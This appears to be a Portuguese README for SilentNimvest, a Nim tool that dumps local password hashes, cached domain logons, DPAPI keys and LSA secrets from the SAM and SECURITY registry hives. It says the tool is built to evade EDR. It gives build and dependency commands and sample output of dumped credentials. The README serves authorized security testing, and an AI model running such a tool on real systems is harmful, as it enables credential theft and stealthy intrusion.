frkngksl/silentnimvestImplementação em Nim para o Método de Dumping de Credenciais dos Hives SAM/SECURITY de sud0Ru (também conhecido como SilentHarvest)
Basicamente, o SilentNimvest é um analisador de SAM e Security Hives escrito em Nim. O SilentNimvest lê chaves desses hives usando a técnica Silent Harvest. Com essa técnica, em vez de um privilégio de nível SYSTEM, uma conta de Administrador comum que habilita SeBackupPrivilege (graças às flags NtOpenKeyEx) pode extrair os hashes dos usuários locais, informações de logon de domínio em cache, LSA Secrets e outros segredos que podem ser obtidos desses hives usando uma API de leitura de registro menos alertada pelo EDR, que é RegQueryMultipleValuesW.
Todo o projeto é baseado na pesquisa do sud0ru.
Você pode compilar diretamente o código-fonte com o seguinte comando:
nim c -d:release -o:SilentNimvest.exe Main.nim
Caso você obtenha o erro "cannot open file", também deve instalar as dependências necessárias:
nimble install winim nimcrypto checksums des
O SilentNimvest pode ser executado diretamente sem nenhum parâmetro necessário a partir de um terminal de Administrador elevado.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
Apenas para testes de segurança autorizados. O uso indevido desta ferramenta contra sistemas sem permissão explícita é ilegal.